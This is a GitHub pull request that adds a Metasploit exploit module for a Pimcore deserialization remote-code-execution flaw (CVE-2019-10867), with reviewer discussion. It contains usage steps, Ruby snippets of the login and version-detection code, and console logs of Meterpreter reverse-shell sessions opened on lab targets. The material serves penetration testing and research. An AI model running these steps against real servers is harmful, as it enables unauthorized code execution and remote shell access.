Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Pimcore from 4.0.0 to 5.6.6 Unserialize RCE (CVE-2019-10867) #11697

Merged
merged 5 commits into from Apr 29, 2019

Conversation

Projects
None yet
7 participants
@fabiocogno
Copy link
Contributor

commented Apr 7, 2019

This module exploits a PHP unserialize() in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability.

The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method make it possible to exploit the unserialize function when passing untrusted values in "data" parameter.

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10867
pimcore/pimcore@38a29e2
https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998

This module has been tested successfully on Pimcore 5.6.6, 5.6.5, 5.6.4, 5.6.3, 5.6.2, 5.6.1, 5.6.0, 5.5.4, 5.5.3, 5.5.2, 5.5.1, 5.4.4, 5.4.3, 5.4.2, 5.4.1, 5.4.0 with the Symfony unserialize payload and on Pimcore 4.6.5, 4.6.4, 4.6.3, 4.6.2, 4.6.1, 4.6.0, 4.5.0, 4.4.3, 4.4.2, 4.4.1, 4.4.0, 4.3.1, 4.3.0, 4.2.0, 4.1.3, 4.1.2, 4.1.1, 4.1.0, 4.0.1, 4.0.0 with the Zend unserialize payload.

Verification

The steps needed to make sure this thing works:

  • Setting up a working installation of Pimcore 4.x or 5.x
  • Start msfconsole
  • use exploit/multi/http/pimcore_unserialize_rce
  • set RHOST <IP>
  • set USERNAME <USERNAME>
  • set PASSWORD <PASSWORD>
  • check
  • You should see The target service is running, but could not be validated.
  • exploit
  • You should get a meterpreter session!

Scenario

Pimcore 5.x

msf5 > use exploit/multi/http/pimcore_unserialize_rce 
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com
rhost => target.com
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8566
rport => 8566
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password pimcore
password => pimcore
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.2.59:8566 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit

[*] Started reverse TCP handler on 10.0.8.2:4444 
[+] Authentication successful: admin:pimcore
[*] Pimcore version: 5.6.6
[*] Pimcore build: 9722d19576f9e49969d4a3708e045fa481eaad02
[+] The target is vulnerable!
[+] JSON paylod uploaded successful: /var/www/html/var/tmp/bulk-import.tmp
[*] Selected payload: Pimcore 5.x (Symfony unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.2.59
[*] Meterpreter session 1 opened (10.0.8.2:4444 -> 192.168.2.59:34128) at 2019-04-07 12:04:08 +0200
[!] This exploit may require manual cleanup of '/var/www/html/var/tmp/bulk-import.tmp' on the target

meterpreter > 
[+] Deleted /var/www/html/var/tmp/bulk-import.tmp

meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.2.59 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/pimcore_unserialize_rce) > 

Pimcore 4.x

msf5 > use exploit/multi/http/pimcore_unserialize_rce 
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com
rhost => target.com
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8465
rport => 8465
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password P1mc0r3_4dm1n
password => P1mc0r3_4dm1n
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.2.59:8465 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit

[*] Started reverse TCP handler on 10.0.8.2:4444 
[+] Authentication successful: admin:P1mc0r3_4dm1n
[*] Pimcore version: 4.6.5
[*] Pimcore build: 4123
[+] The target is vulnerable!
[+] JSON paylod uploaded successful: /var/www/html/website/var/system/bulk-import.tmp
[*] Selected payload: Pimcore 4.x (Zend unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.2.59
[*] Meterpreter session 1 opened (10.0.8.2:4444 -> 192.168.2.59:57882) at 2019-04-07 12:00:20 +0200
[+] Deleted /var/www/html/website/var/system/bulk-import.tmp

meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.2.59 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/pimcore_unserialize_rce) > 

Testing

  1. Setting up a working installation of Pimcore 4.x or 5.x
  2. Start msfconsole
  3. use exploit/multi/http/pimcore_unserialize_rce
  4. set RHOST <IP>
  5. set USERNAME <USERNAME>
  6. set PASSWORD <PASSWORD>
  7. check
  8. You should see The target service is running, but could not be validated.
  9. exploit
  10. You should get a meterpreter session!
@fabiocogno

This comment has been minimized.

Copy link
Contributor Author

commented Apr 8, 2019

Hi @bcoles, what other documentation do you need in addition to that already shared?

@jrobles-r7 jrobles-r7 added docs and removed needs-docs labels Apr 8, 2019

@space-r7 space-r7 self-assigned this Apr 16, 2019

)
end

def login

This comment has been minimized.

Copy link
@space-r7

space-r7 Apr 16, 2019

Contributor

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri),
'cookie' => res.get_cookies
)
if res && res.code == 200
# Pimcore 5.x
# Tested on 5.6.6, 5.6.5, 5.6.4, 5.6.3, 5.6.2, 5.6.1, 5.6.0, 5.5.4, 5.5.3, 5.5.2, 5.5.1, 5.4.4, 5.4.3, 5.4.2, 5.4.1, 5.4.0
unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
datastore['csrfToken'] = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
datastore['cookies'] = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0] + ' pimcore_admin_sid=1;'
# Version
version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
print_status("Pimcore version: #{version}")
print_status("Pimcore build: #{build}")
if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
print_good("The target is vulnerable!")
return targets[0]
else
return nil
end
end
# Pimcore 4.x
# Tested on 4.6.5, 4.6.4, 4.6.3, 4.6.2, 4.6.1, 4.6.0, 4.5.0, 4.4.3, 4.4.2, 4.4.1, 4.4.0, 4.3.1, 4.3.0, 4.2.0, 4.1.3, 4.1.2, 4.1.1, 4.1.0, 4.0.1, 4.0.0
unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
datastore['csrfToken'] = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
datastore['cookies'] = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
# Version
version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
print_status("Pimcore version: #{version}")
print_status("Pimcore build: #{build}")
if Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
print_good("The target is vulnerable!")
return targets[1]
else
return nil
end
end
return nil

I'd suggest maybe placing all of the version-checking functionality in login() into a new function and utilizing that function in check(). It would both reduce the login() function and help check() better determine target exploitability.

Most of the code I'm referencing is linked above.

This comment has been minimized.

Copy link
@fabiocogno

fabiocogno Apr 19, 2019

Author Contributor

Hi space-r7! It is not possible to do what you suggest because:

  • to determine the version number you need to log in (so leave a trace on target; not recommended by the documentation of the check function).
  • determine the version number is necessary in order to complete the log in, save the right cookies and grab the CSRF Token.

We could simplify the login function with several small function such as: grab cookie, grab token, check version and set msf target. What do you think about it?

This comment has been minimized.

Copy link
@space-r7

space-r7 Apr 23, 2019

Contributor

That makes sense! That sounds good to me! Thanks!

This comment has been minimized.

Copy link
@space-r7

space-r7 Apr 26, 2019

Contributor

I just created a PR on your branch for the remaining changes that I think would improve your module. Other than those small changes, this looks good to me. Thank you!

This comment has been minimized.

Copy link
@fabiocogno

fabiocogno Apr 27, 2019

Author Contributor

Thank you very much! I've merge your PR.

This comment has been minimized.

Copy link
@space-r7

space-r7 Apr 29, 2019

Contributor

Thank you!

fabiocogno and others added some commits Apr 26, 2019

Merge pull request #1 from space-r7/pr11697
Add more error handling
@space-r7

This comment has been minimized.

Copy link
Contributor

commented Apr 29, 2019

Tested on v5.6.6:

msf5 > use exploit/multi/http/pimcore_unserialize_rce 
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhosts 192.168.37.181
rhosts => 192.168.37.181
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password password
password => password
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.37.181:80 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[+] Authentication successful: admin:password
[*] Pimcore version: 5.6.6
[*] Pimcore build: 9722d19576f9e49969d4a3708e045fa481eaad02
[+] The target is vulnerable!
[+] JSON payload uploaded successfully: /var/www/html/pimcore/var/tmp/bulk-import.tmp
[*] Selected payload: Pimcore 5.x (Symfony unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.37.181
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.181:48582) at 2019-04-29 08:43:03 -0500
[!] This exploit may require manual cleanup of '/var/www/html/pimcore/var/tmp/bulk-import.tmp' on the target

meterpreter > 
[+] Deleted /var/www/html/pimcore/var/tmp/bulk-import.tmp

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64
Meterpreter : php/linux

@space-r7 space-r7 merged commit d60aa92 into rapid7:master Apr 29, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

space-r7 added a commit that referenced this pull request Apr 29, 2019

msjenkins-r7 added a commit that referenced this pull request Apr 29, 2019

@space-r7

This comment has been minimized.

Copy link
Contributor

commented Apr 29, 2019

Release Notes

The multi/http/pimcore_unserialize_rce exploit module has been added to the framework. This module gains remote code execution by exploiting a PHP deserialization vulnerability in Pimcore post authentication for versions prior to 5.7.1.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.